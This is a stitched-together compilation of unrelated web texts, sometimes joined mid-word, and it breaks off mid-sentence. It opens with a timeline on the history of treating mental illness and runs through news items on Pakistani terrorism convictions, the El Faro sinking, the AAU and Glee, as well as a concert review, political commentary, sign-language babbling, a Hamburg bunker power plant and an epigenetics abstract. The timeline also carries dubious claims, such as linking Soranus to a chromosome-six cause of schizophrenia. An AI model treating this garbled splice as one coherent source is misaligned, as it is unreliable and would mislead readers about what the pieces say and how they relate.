years. 200 Soranus of Ephesus lived in the second century A.D. in Rome, and was a physician of Greek extraction. His recommendations for treatment of mental illness were more advanced than some employed fifteen hundred years later. He belonged to the "methodist" school of physicians (related to the philosophers Heraclitus and Epicurus) believing that the human body is composed of atoms constantly in motion. He theorized that disease was caused by a disturbance or an irregularity of these atoms. In light of the recent revelation that much of schizophrenia might be caused by a disturbance to chromosome number six, Soranus' view was remarkably close to the latest findings on the possible causes of some mental illness. Follower of Asclepiades, Soranus of Ephesus, said that patients should be kept in light, airy conditions, should not be beaten, kept in the dark or given poppy to make them drowsy, and he stressed the importance of convalescence and aftercare. He also took social background and culture into account and insisted on the importance of the doctor-patient relationship. Although he described mental distress in terms of an organic disturbance he treated it by psychological methods, minimizing the use of drugs and other physical treatments. But he also suggested that mania should be treated with the alkaline waters of the town. These waters contained high levels of lithium salts. Lithium treatment was rediscovered for manic depression by John Cade, an Australian psychiatrist, in 1948. Soranus described two kinds of mental illness, mania and melancholy, which are what we now call schizophrenia and depression. Although the actual treatments of Soranus' time included confinement in a dark room, flogging, starvation diet, making a patient drunk, and inducing sleep with drugs and opium, he dismissed these treatments as futile and haphazard. Rather, Soranus recommended treatments that included patients be: kept in rooms with modest light and adequate warmth and always on the ground floor to prevent suicide attempts; put on a simple diet with regular exercise; and restrained only if necessary, and if so, with bonds made of wool or soft materials to prevent injury. He also recommended that to avoid unnecessary injury, the servants who restrained them should use their hands and not clubs or other instruments. Soranus thought that the patient should be engaged in intellectual activities not only for therapeutic purposes but to detect the progress of the illness; accordingly, patients should be encouraged to talk to philosophers to "banish their fear and sorrow."( 300 The Church fathers re-establish the husband's patriarchal authority and the patriarchal values of Roman and Jewish law. The Roman Emperor, Constantine the Great, has his wife burned alive when she is no longer of use to him. 400 When the Western Roman Empire began to disintegrate, Augustine of Hippo developed the concept of the Catholic Church as a spiritual City of God (in a book of the same name), distinct from the material Earthly City. His thoughts profoundly influenced the medieval worldview. Augustine's City of God was closely identified with the segment of the Church that adhered to the concept of the Trinity as defined by the Council of Nicaea and the Council of Constantinople. Augustine writes The City of God in part to respond to claims that Rome fell because it had abandoned paganism. Augustine's arguments against magic, differentiating it from miracle, were crucial in the early Church's fight against paganism and became a central thesis in the later denunciation of witches and witchcraft. 450 Caelius Aurelianus announces that devils were existing in the appearance of male or female human beings, whose primary task was to deceive the opposite sex, issuing in the centuries to follow of murder of thousands of the insane for the purpose of getting rid of the evil-souls and devils that possess them. 622 Mohammed's flight from Mecca to Medina, the beginning of Islam. The Koran, the book considered to be the revelation of God to Muhammad and the foundation of the religion Islam, sets forth five duties, the third of which is to give, prescribed alms generously and also to give some alms beyond the minimum. 680 Boniface brings Anglo-Saxon Christianity to the pagans in Germany, cutting down the pagan's sacred tree to build a church out of it 706 Hospitals in Islamic History by Dr Hossam Arafa "The first known hospital in Islam was built in Damascus in 706 AD". After 750 - Al-Fustat Hospital, Cairo, 872. Hospitals for the so-called "insane" were established by the eighth century in Arabic countries (an asylum in Fez, Morocco early in the eighth century). 800 Baghdad Academy of Science founded 865 Rhazes (865-925), called 'the Persian Galen' (but 700 years later), was chief physician at Baghdad hospital where there was a psychiatric ward, and, because the Arabs had no fear of demons, patients were kindly treated. They used the writings of Galen and Aristotle to guide them, and appear to have made use of forms of behavior therapy. 872 In the Islamic world, the Bimaristans were described by European travelers, who wrote on their wonder at the care and kindness shown to lunatics. Ahmad ibn Tulun built a hospital in Cairo that provided care to the insane which included music therapy. Middle Ages (900 – 1300) In Europe, squires and noblemen beat their wives as regularly as they beat their serfs; the peasants faithfully followed their lords' example. The Church sanctions the subjection of women. Priests advise abused wives to win their husbands' good will through increased devotion and obedience. The habit of looking upon women as a species apart, without the same feelings and capacity for suffering which men possess, becomes inbred during the Middle Ages. In a Medieval theological manual, a man is given permission to "castigate his wife and beat her for correction…” 900 Leechdom, Wortcunning and Star Craft of Early England, a collection of herbal prescriptions, gives remedies for melancholia, hallucinations, mental vacancy, dementia, and folly. 1020 Pūr Sinɑʼ (Persian ابن سینا or ابو علی‌ سینا or پور سينا Pur-e Sina; [ˈpuːr ˈsiːnɑː] "son of Sina"; August c. 980 – June 1037), commonly known as Ibn Sīnā, or in Arabic writing Abū ʿAlī al-Ḥusayn ibn ʿAbd Allāh ibn Al-Hasan ibn Ali ibn Sīnā (Arabic أبو علي الحسين بن عبد الله بن سينا) or by his Latinized name Avicenna, was a Persian polymath, who wrote almost 450 works on a wide range of subjects, of which around 240 have survived. In particular, 150 of his surviving works concentrate on philosophy and 40 of them concentrate on medicine. His most famous works are The Book of Healing, a vast philosophical and scientific encyclopedia, and The Canon of Medicine, which was a standard medical text at many medieval universities. The Canon of Medicine was used as a textbook in the universities of Montpellier and Leuven as late as 1650. Ibn Sīnā's Canon of Medicine provides an overview of all aspects of medicine according to the principles of Galen (and Hippocrates). His corpus also includes writing on philosophy, astronomy, alchemy, geology, psychology, Islamic theology, logic, mathematics, physics, as well as poetry. He is regarded as the most famous and influential polymath of the Islamic Golden Age. In The Canon of Medicine, Avicenna described a number of conditions, including melancholia. He described melancholia as a depressive type of mood disorder in which the person may become suspicious and develop certain types of phobias.Avicenna (Ibn Sina) suggests that the three ventricles of the brain perform five distinct cognitives processes: common sense, imagination, cogitation, estimation and memory. His Canon of Medicine, which asserted the fundamentals of neuroanatomy, was in use as a textbook in Europe and the East as late as the 17th century. His treatise De Anima, discusses the relationship of body and soul in man and the causes of melancholy, and advocated only humane treatment of the insane. Avicenna was the first to employ analytical treatment, including use of a free association method, in his treatment of the insane. Persian physician Avicenna recognized "physiological psychology" in the treatment of illnesses involving emotions, and developed a system for associating changes in the pulse rate with inner feelings. In Salerno University, Constantinus Africanus (1020-1087) a Jew who became a Christian translated Hippocrates from Arabic into Latin. Once again the nervous system was examined and the brain seen as the seat of mental illness. Hydrotherapy was used. 1100’s Medieval laymen had more enlightened attitudes toward mental health problems than did professionals, for poetry and other literature present very realistic views of the subject. The poems Amadas (late 12th century), and also Tristan both indicate an understanding of the idea that emotional crises may result in severe emotional disorders and that they may be corrected by a realistic psychological approach. 1100 Date given for "an asylum exclusively for sufferers from mental diseases at Mets" (Metz, northern France) (Catholic Encyclopedia) 1135 “In the patient let me ever see only the person.” -- From the Oath of Maimonides (Moses Maimonides 1135-1204) 1200 Geel, Belgium becomes an established place of pilgrimage and settlement for the mentally ill, it survives the centuries and still exists as a therapeutic community, although in modern times under the supervision of medical authorities. Ch'an BudSARGODHA, PAKISTAN -- Five Northern Virginia men were convicted on terrorism charges and sentenced to 10 years in prison by a Pakistani court Thursday in a case that focused U.S. concern about citizens linking up with foreign extremist groups. Pakistani and U.S. law enforcement officials suspect the five traveled to Pakistan in hopes of joining insurgent groups active in battling U.S. forces in Afghanistan, although they were apparently turned away. One had left behind a video that investigators said made clear his violent intent. Their case is among a handful over the past year in which American Muslims are accused of seeking to attack the United States or its interests overseas. Pakistan has been at the center of several such cases, including that of would-be Times Square bomber Faisal Shahzad, who pleaded guilty this week in a Manhattan federal court to packing a Nissan Pathfinder with explosives and attempting to detonate it. The five men who were convicted in Pakistan have not faced charges in the United States, but the FBI is looking into the men's activities. Investigators have been waiting to see how events play out in Pakistan, partly because evidence from the trial could give them more leads, U.S. law enforcement officials said. It is unclear whether the men will be charged in a U.S. court, although officials said the verdict in Pakistan will have little bearing on that decision. The men -- Umar Chaudhry, Ramy Zamzam, Ahmad A. Minni, Waqar Khan and Aman Hassan Yemer -- did not carry out any attacks but were convicted of criminal conspiracy and funding a banned terrorist organization. The charges carry sentences of 10 and five years, respectively, but the judge ordered that the terms be served concurrently. An attorney for the men questioned the legitimacy of the verdict and accused prosecutors and the judge in the closed-door trial of ignoring key evidence. He promised an immediate appeal. In the Alexandria section of Fairfax County, off Route 1, the families of the five men were described as "devastated" by the news. "They had hoped for justice," said Alexandria lawyer Nina Ginsberg, who is working with the men and their families in the face of potential prosecution by the U.S. government. "This was a rigged trial that appears to have been based on fabricated evidence in a secret court with a preordained result." Prosecutors said the men traveled from their port of arrival, Karachi, to the cities of Hyderabad and Lahore, where they met with members of the banned militant organizations Jaish-i-Muhammad and Jamaat-ud-Dawa. The organizations accepted small donations from the men -- from $6 to $12, according to receipts presented as evidence -- but rejected the five as potential fighters, prosecutors and police said. Militant groups in Pakistan have traditionally been wary of accepting Americans into their fold, fearing the possibility that they could be spies. Prosecutors also presented printouts of 12 e-mails that they said the men had exchanged with Qari Saifullah Akhtar, a wanted Pakistani militant accused of inviting the group to Pakistan. Jihadist literature belonging to the men, together with maps of an air force base and a nuclear plant in western Punjab province that the men acknowledged wanting to attack, indicated the group's intent to wage terrorism, prosecutors said.At the moment, he was preoccupied with passing the Police Department’s sergeant’s exam, having fallen behind in his studies during his long deployment to Kuwait. As an officer in the Army Reserve, Officer Ali was granted a leave of absence from the department for the duration of his mobilization. He spoke earnestly about how much he enjoyed making people feel safe while patrolling the subway. In one case, he said, he chased down a thief who had stolen a smartphone from a mute woman who communicated using hand gestures. “All I cared about was that we were able to help this girl,” Officer Ali said. “It’s a true euphoric feeling of doing what I signed up to do.” Officer Ali’s detention that night in late April was not the first time he was sent to secondary inspection. Officers took him aside and checked his identity on a previous trip. He said he had no problem with the polite and expeditious way they had handled him then. “I understand there are folks out there who might do bad things who have a name similar to mine,” said Officer Ali, 34, who came to the United States with his parents from Bangladesh when he was 3 and grew up in Woodside, Queens. He enlisted in the Navy before he turned 18 and, after graduating from college, was commissioned in the Army. Officer Ali underscored that he was speaking as a private citizen and not on behalf of the United States military or the Police Department. “I’m more concerned with, what is the average citizen going through?” he said. “It’s happening to other people and it’s probably a lot worse.”Babies Babbling in Sign Language Do babies babble in sign language? You bet! learning sign language at an early age. Now that this trend is catching on and (at long last!) becoming more popular in America, it appears thatas well. The typical age for hearing babies to start making vocal noise is anywhere from 6-9 months. This is the age that researchers are now focusing to study sign language babbling. They believe this is the time when babies are processing language. This is also about the time babies try to match sound (if applicable) and rhythm of the surrounding language. Whether the baby is hearing or Deaf, being exposed to sign language has an impressive stimulus on babies' expressive language (i.e. what language they use to communicate to others). Regardless if the child has a hearing loss and their main language is sign, they may babble with their hands. If Deaf parents have a hearing child, these children are labeled a CODA (Child of a Deaf Adult) within the Deaf community. CODAs have the opportunity to grow up in a rich Deaf Culture environment, while still becoming part of the mainstream hearing society. It is in these children that researchers are seeing hand babbling similar to American Sign Language (ASL). Intensive studies are not yet available involving a Deaf infant of Deaf parents yet, however, if you ask any Deaf parent of a Deaf child, this parent will almost certainly tell you that their baby does indeed babble in sign language! Surely this fits the mold: A hearing child of Deaf adults is able to copy their parents’ signs. Why wouldn’t a Deaf infant (of Deaf parents) be able to do the same? In a study involving six hearing infants (three with hearing parents who used only spoken English and three with Deaf parents who used only American Sign Language), researchers tried to figure out if sign babble had any linguistic qualities. The three infants with Deaf parents actually had hand babble similar in rhythm to their parents’ signing whereas the hearing infants’ hand babble had no resemblance to ASL rhythm. This sign babble, researchers say, is the equivalent to vocal baby babble. As your signing baby becomes a toddler, s/he will start to acquire more complex syntax in sign language. Your little darling will soon realize the importance of facial expressions and how they impact the signed message. It is also natural for the signing toddler to understand more signs than they can produce. Toddlers may have a signing vocabulary of 80 words, but can understand up to 300 words or more! This vocabulary is particularly helpful if and when your child hits the "terrible two" stage. Your "little big guy" is now able to express himself more easily; which in turn reduces frustration. Since ASL is a visual language, it is possible for a toddler to sign something that may not necessarily be a sign. She or he may be describing a scene or a manner of dress which incorporates body language and their imagination. With this language as their tool, they may be able to create their own signs for things that aren’t "really" signs. How creatively intelligent! One example is the sign for "happy": If a child is overjoyed and they feel more than just "happy," they could make the sign bigger. A direct English translation for this could be "big happy!" It is not correct English or ASL grammar however, but the idea is still expressed clearly through a made-up sign. Young children and sign language is still a linguistic discovery that obviously has room for more research. Sign languages, as far as the public view goes, is still relatively new (even though this has been documented for over 300 years). It wasn’t until recently that the US government recognized ASL as a true language.CLOSE The U.S. Coast Guard confirmed there is at least one fatality from the El Faro cargo ship, which they believe sank in Hurricane Joaquin. Families of the remaining crew members hold out hope that their loved ones will be found alive. VPC An undated handout photograph made available by TOTE Maritime shows the container ship El Faro. (Photo11: Tote Maritime via European Pressphoto Agency) The National Transportation Safety Board (NTSB) will investigate the sinking of a cargo ship that vanished five days ago near the Bahamas. The U.S. Coast Guard on Monday said the ship sank in the brutal seas and high winds of Hurricane Joaquin. Officials said the search for survivors will continue. Coast Guard Capt. Mark Fedor said the 790-foot container ship El Faro, with 33 people aboard, sank last week. Twenty-eight of the crew were Americans. "We believe it sank in its last known position on Thursday," Fedor said. "We are still looking for survivors or any signs of life." Fedor said aircraft searched 70,000 square nautical miles Sunday, the first day that weather allowed an intensive search. The rescue efforts are now targeting two debris fields, one about 300 square miles and another of about 70 square miles, he said. Fedor called the survival conditions "challenging," but noted that the crew would have been well-trained at abandoning ship. "We are not going to discount somebody's will to survive, and that is why we are still searching today," Fedor said. The NTSB said the Coast Guard will participate in its investigation. #HappeningNow@USCGSoutheast HC130 aircrews heading back to the scene in search for #ElFaro crew. More than 70k sqNM searched thus far. — USCGSoutheast (@USCGSoutheast) October 5, 2015 Fedor said a survival suit was found Sunday with unidentifiable remains inside. He added that crews also found a heavily damaged life boat and other debris, but no survivors or other remains. The search was continuing Monday with a five planes, helicopters, tugboats and three Coast Guard cutters, Fedor said. El Faro was caught in Hurricane Joaquin last week while traveling from Florida to Puerto Rico. The last communication came Thursday, when the crew reported that it had lost power, was listing at 15 degrees and was taking on water. The hurricane at that point was a Category 4, with winds in excess of 120 mph churning 50-foot waves. Fedor said federal investigators would examine why the ship ventured into such heavy weather. TOTE Maritime Puerto Rico, the ship's owner, issued a statement thanking the Coast Guard for leading the search and rescue efforts. "We continue to hold out hope for survivors," the statement said. "Our prayers and thoughts go out to the family members and we will continue to do all we can to support them." The ship was loaded with cars, trucks and trailers. The first debris from the ship was found Saturday, when the Coast Guard discovered a life ring belonging to the El Faro, floating about 120 miles northeast of Crooked Island, about 70 miles northeast of the ship's last known position. The company said a container apparently from the vessel El Faro was found in the water Sunday. The Coast Guard said its aircraft spotted life jackets, life rings, and an oil slick. Florida maritime attorney Rod Sullivan, who closely monitored the the El Faro incident, said El Faro should have been retired. "In my opinion, this vessel had reached beyond its useful life," Sullivan told First Coast News. The El Faro was built in 1975. Given its age, said Sullivan, the cargo ship should have remained in port. Sullivan, who never boarded the freighter, graduated from the U.S. Merchant Marine Academy, served five years, holds several licenses and has practiced maritime law for 35 years. He said in the days ahead there will be litigation. But for now Sullivan said the focus should remain on the 33 lives on board the El Faro. "Hopefully there are still some families that will have their loved ones come back to them," he said. "That's what I'm hoping for." Contributing: Gregg Zoroya Read or Share this story: http://usat.ly/1LdNeGGBy the time the floorboards of New York’s Bowery Ballroom stopped shaking Tuesday night, Wolf Parade had torched the notion that their return from hiatus was any kind of vanity play. You couldn’t be blamed for expecting that it would be: Six years removed from their last LP, five years removed from their last live performance (under their own name, at least), and nearly a decade removed from anything close to semi-mainstream relevance should not add up to what could be called a cathartic experience—and yet. They took nostalgia’s calming glow and doused it in gasoline, justifying the return of an aging band by playing more ferociously than the baby-faced acts they’ve inspired. To be fair, for fans of indie rock, there’s arguably something to be nostalgic for—namely, a time when the term “indie rock” more closely correlated to a specific set of sounds, and a certain prevalence in music culture. The year that saw the release of Wolf Parade’s breakthrough, Apologies to the Queen Mary—2005—was bursting with albums that made good on the promise of indie rock’s potential to energize: Clap Your Hands Say Yeah’s self-titled debut (a real belle of the MP3 blogs), Separation Sunday from Jersey revivalists the Hold Steady, the bookish pop of the Decemberists’ Picaresque, Bloc Party’s urgent dance-punk on Silent Alarm, and the album that ushered in the mainstream’s approval of indie rock, Sufjan Stevens’ Illinois. Of those bands, Wolf Parade are most similar to Clap Your Hands Say Yeah, both in their singers’ gnarly vocals and in the way they never quite managed to top their debuts. In 2015, CYHSY embarked on a victory tour, reissuing their self-titled—as Wolf Parade did with ATTQM this week—and performing the work in whole. But CYHSY had been touring and releasing music to little fanfare all the while; their blatant attempt to recapture the vibe of 2005 could be seen as novelty, even if it sold tickets. Wolf Parade frontmen Spencer Krug and Dan Boeckner had been busy in the meantime, too: Krug with Sunset Rubdown and Moonface, Boeckner with Handsome Furs and Divine Fits. And yet when they returned to the banner of Wolf Parade after a five-year hiatus, it was something else. When tickets to their residencies in New York, Toronto, and London went on sale, they sold out immediately. The excitement at first seemed totally at odds with the band’s measurably small success, especially removed from the height of it. It’s tough to say just why Wolf Parade muster such excitement. Reunions or anniversary tours are announced almost daily, this year heralding news of such engagements from Danzig and the Misfits, LCD Soundsystem, Guns N’ Roses, Puffy and Bad Boy, Thursday, At the Drive-In, Ween, Dresden Dolls and seemingly just today, Rage Against the Machine. Hell, gauging by the crowd at Tuesday’s show—the first of five this week—aging Brooklynites with disposable income are hungry for anything from decades gone by, eager to reach the vigorous heights of their youth. (At one point in the show, the band responded to a question about death, saying, “What do you mean? We’re the old ones,” and then, a second later added, “Well, you’ve gotten older, too.”) You would think it didn’t matter who took the stage, so long as they had sold out this room, or one like it, ten years ago. Case in point: A considerable number of such dudes broke into a full-blown sing-along when Interpol’s “Evil” played between sets. But that excitement, as stoked as it was by spontaneity, paled when compared to the riotous reaction to Krug’s nervy shouting on the set’s opener, “Cloud Shadow on the Mountain”—and that’s a track from the band’s last album, the relatively uncelebrated Expo 86. From there, it only became clearer why fans had been so hungry for tickets. What Wolf Parade did on that first album, and to a lesser extent on the follow-ups, was capture the rawness of humankind unhinged, transforming the pain of loss and feelings of displacement into rallying cries. The power of these tracks crystallized when, late in the set, “This Heart’s on Fire” brought forth fists that probably haven’t flown so hard since W. was in office, the crowd belting out the titular chorus, insisting in unison that they hadn’t grown complacent. But the crowd’s response wasn’t guaranteed throughout: Much of Boeckner’s tracks—he and Krug split songwriting and performing duties—are straight-up rockers, and thus don’t play as well with campfire chants like Krug’s sing-song-y things do. His “Ghost Pressure” was tolerated with headbobs, and, while the solid back-to-back songs (“C'est La Vie Way”/“Floating World”) from the just-released EP 4 recapture the verve of Wolf Parade’s early days, the crowd’s reaction was pretty well-judged by Krug, who later said, “Here’s another new song, booooo!” That’s not to say that these songs didn’t kick as hard as the others, or that the crowd didn’t appreciate them. It just implies that, like most audiences at live shows, what the packed house was looking for were the anthems. The difference is that Wolf Parade’s anthems, like those of many bands below the surface, weren’t defined by singles or chart status. They were defined by the fans, earmarked as such for the way they’re elevated in a live setting. The fans weren’t looking for the nostalgia buffet of a Weezer cruise—they were looking for a revival, and Wolf Parade gave it to them. Last night, Wolf Parade embodied the bygone era of discovering independent music and the subsequent thrill of discovering that you weren’t alone in loving that music. Remember: When the band first broke through, Isaac Brock, who recorded much of their debut, was still a name with big cachet. Animal Collective hadn’t yet brought weirdness to the Top 20 of the Billboard 200. Neither Bon Iver nor Arcade Fire had won Grammys. Indie rock was still an almost secret thing to latch onto. The point of asking someone if they’d heard of some small band was not, as popular culture claims, to establish intellectual superiority. It was to establish connection. Now, when you ask if someone’s heard of so-and-so, they’re likely to respond, “Oh yeah, that’s that band Beyoncé and Jay are into,” or, “They’re besties with Taylor Swift, right?” Now, when someone is into “indie,” that could mean anything from the major-label synthpop of Chairlift to the chainsaw grate of Death Grips. Both of these shifts in music culture are completely OK, by the way—they’re just different than how things used to be, not all that long ago. So perhaps it’s fine to call this show a reunion, then, just not for the band. It was a reunion for those who took pride in not being in love with the modern world in 2005, and who still take some small bit of stubborn pride in that today.Republican Senator Rand Paul appeared on Fox News earlier today and ramped up some of the rhetoric in attacking President Obama and his debt negotiation strategy. Worried that nobody can be trusted in Washington without stricter rules, Paul strongly supported the “Cut, Cap and Balance” bill from the House of Representatives because he feared that without a balanced budget Amendment, America might never be able to solve the deficit problem. Paul wasn’t in the slightest bit worried about the August 2nd “deadline” for raising the debt ceiling and instead argued “I think the President really should apologize, to tell you the truth. He should take default off the table.” Given that he knows the country has enough money to avoid a default, Paul suggests about Obama, “he’s disingenuous and scaring the nation by doing this.” Yet Obama wasn’t alone in receiving scorn from Paul, as he also claimed “Democrats have demagogued this and made it where they accuse Republicans of wanting to push grandma off a cliff.” With Paul also declaring “everything is worse under this President,” it sure seems that as the debt ceiling deadline draws nearer, the tension is building and the hyperbole from both sides is flying fast and furious. Watch the clip from Fox News below: Have a tip we should know? tips@mediaite.comPresident Reagan hailed it as the most sweeping immigration reform since 1952. But while the Simpson-Mazzoli Act of 1986 welcomed 2.7 million illegal aliens under the so-called “Reagan amnesty,” the portion of the law that was supposed to beef up America’s borders never amounted to anything. In the years that followed, Washington showed little interest in the law’s border-enforcement provisions — to the point where border security under the Obama administration became a bad joke. And three decades after the Reagan-era reform, illegal immigration in the U.S. has quadrupled. Mr. Reagan’s experience is instructive for President Trump in what’s being presented as yet another quid pro quo on immigration: In exchange for citizenship for an estimated 800,000 “Dreamers” — illegals brought to the U.S. as children — Team Trump wants a 70-point immigration plan that focuses on reinforcing the U.S. border. In the run-up to any meaningful reform — and before this football again is yanked away before the kick — immigration-law enforcement must come first. That begins with realistic policies that define, instead of diminish, America’s borders. And rather than waste time and resources on a border wall that more than likely will be breached before it’s fully built, more attention should focus on fully implementing E-Verify, used to check the legal status of job applicants, along with harsher penalties for employers who hire illegals. Trump can realize what Reagan envisioned if he sticks to his predecessor’s familiar dictum: “Trust, but verify.”ORLANDO, Fla. -- The Amateur Athletic Union is expected to announce new mandatory background screening for all adult coaches, volunteers and staff, as well as stricter training protocols to govern interaction with youth athletes, a person familiar with the situation said. The person spoke to The Associated Press on condition of anonymity because the AAU has not publicly announced the findings of an internal review of its best practices. The person did not say how the screening would be conducted, but said the system-wide background checks and screenings would not pose an unfair or unreasonable financial hardship on anyone. A news conference is scheduled for Tuesday at the AAU's national headquarters. A six-month review by two task forces focused on youth protection and adult volunteering screening. The panels produced a joint 30-page report with their recommendations for changes to AAU's polices, protocols and procedures. Those recommendations are expected to be revealed Tuesday. AAU commissioned the review last December in the wake of decades-old sex abuse allegations against former president Bobby Dodd. The organization had never faced any abuse allegations prior to those against the 63-year-old, who it had severed all ties with, and he to date has never been charged with a crime. The oldest organization dedicated to youth athletes in the country, the 124-year-old AAU oversees about 30 sports programs for all ages nationwide, including major sports like football, basketball and baseball to bocce ball, baton twirling and competitive jump rope. More than 500,000 athletes and 50,000 volunteers participate in its programs. Existing procedures for dealing with adults who violate AAU's code of conduct are expected to be clarified and strengthened as well. And it will be made clear that all staff and volunteers have a responsibility to report any abuse or suspected abuse to law enforcement. "The AAU is acting decisively because its first priority is not to protect the AAU brand, but to protect the thousands of youth athletes in our events," AAU president Louis Stout said of the upcoming announcements. AAU had previously done some random screenings of officials, but they were not mandatory. ESPN's Tom Farrey reported that two former basketball players had accused Dodd of molesting them as children in Memphis and other locations in the 1980s. But Memphis police suspended their investigation a month later when no one came forward to file a formal criminal complaint. Dodd's attorney, Steve Farese, said in January that his client is innocent. Farese said he was not surprised that police did not go forward with a criminal investigation. One of Dodd's accusers is 43-year-old Ralph West, who alleged that Dodd fondled him, tried to fondle him or masturbated in front of him at Dodd's home in Memphis, the AAU Junior Olympics in South Bend, Ind., and tournaments in Florida, Louisiana and Tennessee. The other accuser spoke to ESPN's "Outside the Lines" anonymously and accused Dodd of molesting him at Dodd's home. Both men said news reports about the Penn State child sex abuse case prompted them to independently confront Dodd in November. Dodd coached AAU basketball teams in Memphis before joining the organization's national staff more than 20 years ago. Dodd had been an executive with AAU since the 1990s. Shortly after turning over the allegations to authorities, Stout promised full access in implementing the task force reviews and said he had confidence that AAU acted decisively in cooperating with police. Information from The Associated Press contributed to this report.A former Nazi bunker located in the Wilhelmsburg district of Hamburg, Germany is about to get a full-scale makeover. The building, which sorta looks like a giant LEGO, is set to become Europe's largest renewable energy power plant. When it's all said and done, the power plant will supply 3,000 homes with heating and 1,000 of those with electricity, cutting 6,600 tons of CO2 per year. How? The nine story structure (called a Flaktürme in German) will boast a 110 kWh rooftop photovoltaic system and a south-facing 0.6 GWh solar-thermal unit come 2012. The building's interior is being reserved for even further expansion. By 2013 the structure will house a 10.5 GWh woodchip combined heat and power plant (CHP), and a 3.7 GWh biomethane plant powered by a nearby industrial plant, for example. Waste heat will also be stored. That sounds like a lot but this building could house around 80 single family homes. It is that big. I mean, the British Army tried to blow this thing up back in 1947 and, well, couldn't. However it did leave the building's innards quite trashed. Designed by architect Friedrich Tamms in 1942, it's almost misleading to say the finished product will be a "power plant." Sure, it will provide power; lot's of power. But the building will also be home to a neighborhood cafe, a panoramic terrace and a museum about both the building and the area. It is hard to believe it took only six months to build this tower. The walls are at least one Inhabitat writer thick, that is about 7 feet. And at its thickest points, up to 14 feet thick. Hitler had ordered the construction of these buildings after a raid by the Royal Air Force in Berlin. Eight complexes were built in total: three in Berlin, three in Vienna and two in Hamburg. The above-ground structures not only provide shelter for up to 30,000 people but there was even a fully-equipped hospital ward inside. The tower's anti-aircraft guns could sustain an astonishing rate of fire: 8000 rounds per minute. But what was once referred to as Flaktürme V will soon be known as the Energiebunker. © IBA Hamburg GmbH © IBA Hamburg GmbH Re-tooling of the bunker is being orchestrated by the IBA Hamburg Gmbh. IBA, which had its inaugural year back in 2007, stands for Internationale Bauausstellung (International Building Exhibition in English). But calling it an exhibition is as misleading as calling the Energiebunker just a power plant. It's really more of an experiment, than anything else. The IBA Hamburg is actually redeveloping entire districts of the city within the Elbe islands (Europe's biggest river island). And the Energiebunker is just one of its many different projects, all expected to be complete by 2013. It guess it should be of no surprise that the city of Hamburg was awarded the title of European Green Capital 2011 by the European Commission.Photo illustration by Slate. Photos
anovich explains why Trump’s pro-Russia stance won’t help him among voters. [WSJ] -Nate Silver argues that the Democratic primary actually wasn’t a close race at all. [538]The real Girl From Ipanema returns to the beaches of Rio: Brazilian who inspired the Sixties hit shows off her 63-year-old bikini body HeloÌsa Pinheiro inspired the song 'Girl From Ipanema' in the early 1960s The bossa nova song is 2nd most recorded song after the Beatles' yesterday Writers Antonio Carlos Jobim and Vinicius de Moraes made millions HeloÌsa never made a penny from the song Is now a TV presenter and businesswoman Has also appeared twice in Brazilian Playboy HeloÌsa Pinheiro is the 'Girl From Ipanema', a Rio native whose daily strolls past the Veloso Bar in 1962 inspired a global hit and put Brazil on the map. 'Tall and tanned and young and lovely' Heloise, known as Helo, caught the eye of composer Antonio Carlos Jobim and Portuguese poet Vinicius de Moraes who together penned one of the world's most recorded songs. Now new pictures have revealed that the girl from Ipanema was still making the boys go 'aaaah' as she passed, well in to her sixties. Scroll down for video HeloÌsa Pinheiro was the 'Girl from Ipanema', a Rio native whose daily strolls past the Veloso Bar in 1962 inspired a global hit and put Brazil on the map In this shoot from 2006, Helo, age 63, returned to the beach that made her famous to show off a figure that many women half her age would kill for. The original song was written in 1962 with English lyrics written later by Norman Gimbel and the bossa nova song became a worldwide hit after being performed in by Astrud Gilberto, along with Jo„o Gilberto and Stan Getz, from the 1963 album Getz/Gilberto. And though the writers and their estates have made millions in royalties from the song, Helo never made a penny from it. In fact when she tried to open a clothing boutique with the name 'The Girl from Ipanema' she was sued by the heirs to co-writers Antonio Carlos Jobim and Vinicius de Moraes, but after much legal wrangling was able to keep the name of her shop. Although the writers and their estates have made millions in royalties from the song, Helo never made a penny from it When Helo tried to open a clothing boutique with the name 'The Girl from Ipanema' she was sued by the heirs to Antonio Carlos Jobim and Vinicius de Moraes, but after much legal wrangling she was able to keep the name of her shop Helo is a celebrity in Rio, and Brazil, regularly appearing at events and on TV shows. She became a Brazilian Playboy Playmate in 1987 and once again in 2003, when she did a pictorial along with her daughter. Hero still claims to love the song and told the Guardian : 'It's eternal. Whenever I listen, I remember my past, my younger days. Ipanema in 1962 was a great place. You never saw aggression. Everyone wanted to fall in love. It was the spirit of bossa nova – tranquil and romantic Today, you don't see composers in the bars and restaurants. There isn't the same inspiration.' In this shoot from 2006, Helo, age 63, returned to the beach that made her famous to show off a figure that many women half her age would kill for Hero is a celebrity in Brazil, and especially Rio where she is constantly mobbed for pictures. Her website has details of her TV appearances and magazine shoots© 2014 John Wiley & Sons Ltd. This paper argues that there is a revolution afoot in the developmental science of gene-environment interplay. We summarize, for an audience of developmental researchers and clinicians, how epigenetic processes - chromatin structural modifications that regulate gene expression without changing DNA sequences - may offer a strong, parsimonious account for the convergence of genetic and contextual variation in the genesis of adaptive and maladaptive development. Epigenetic processes may play a plausible explanatory role in understanding: divergent trajectories and sexual dimorphisms in brain development; statistical interactions between genes and environments; the biological embedding of early psychosocial adversities; the linkages of such adversities to disorders of mental health; the striking individual variation in the strength of those linkages; the molecular origins of critical and sensitive periods; and the transgenerational inheritance of risk and protection. Taken together, these arguments converge in a claim that epigenetic processes constitute a promising and illuminating point of connection - a'synapse' - between genes and environments.UPDATED:Glee will likely end its run after season 6 — the final year in the drama’s current deal on Fox. “I would not anticipate it goes beyond two more seasons,” Entertainment Chairman Kevin Reilly told reporters on Thursday. “Never say never, but there’s two very clear [story] arcs to get to that end and conclude. If we discover a new crop of kids and there’s some breakout we like … [but] right now, we’re thinking two seasons.” Reilly also said the drama will address Cory Monteith’s death in the third episode, during which Fox will air public service announcements about substance abuse. The fifth season premiere of Glee is set for Thursday, Sept. 26, a week later than originally scheduled. Monteith, 31, was found found dead July 13 of an overdose. Drugs, however, will not be the cause of death for Finn (Monteith). Reilly could not say how Creator Ryan Murphy will deal with the character’s passing since the script has yet to be completed. The PSAs will address drug abuse and how it’s short-sighted to assume addicts only look or behave in certain ways. “When you see some people struggle with addiction, they are easily put in a category. ‘He was dark, she was always a partier,'” Reilly said at the Television Critics Tour in Los Angeles. “Cory was big open life force. He was not a problem, he looked straight as an arrow. He was open about his addiction in the past, just not as open about it in the presence. Everybody was shocked, but this was an accident. It happened to someone struggling with addiction.” Reilly also said proceeds from the music sold from the episode will go to Monteith’s family."Policy Beta will create a digital platform for citizens to 